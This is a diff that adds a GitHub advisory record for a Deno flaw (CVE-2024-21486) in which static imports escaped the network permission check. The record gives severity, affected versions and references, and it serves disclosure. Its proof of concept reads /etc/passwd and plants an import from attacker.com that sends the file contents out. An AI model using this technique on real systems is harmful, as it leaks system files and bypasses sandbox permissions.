Publish GHSA-jv4x-jv3h-qff5

2026-05-22 18:04:22 -07:00 · 2025-06-05 01:23:17 +00:00
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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-jv4x-jv3h-qff5",
+  "modified": "2025-06-05T01:21:08Z",
+  "published": "2025-06-05T01:21:08Z",
+  "aliases": [
+    "CVE-2024-21486"
+  ],
+  "summary": "Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor",
+  "details": "### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "crates.io",
+        "name": "deno"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "2.0.0"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/denoland/deno"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-200"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-06-05T01:21:08Z",
+    "nvd_published_at": null
+  }
+}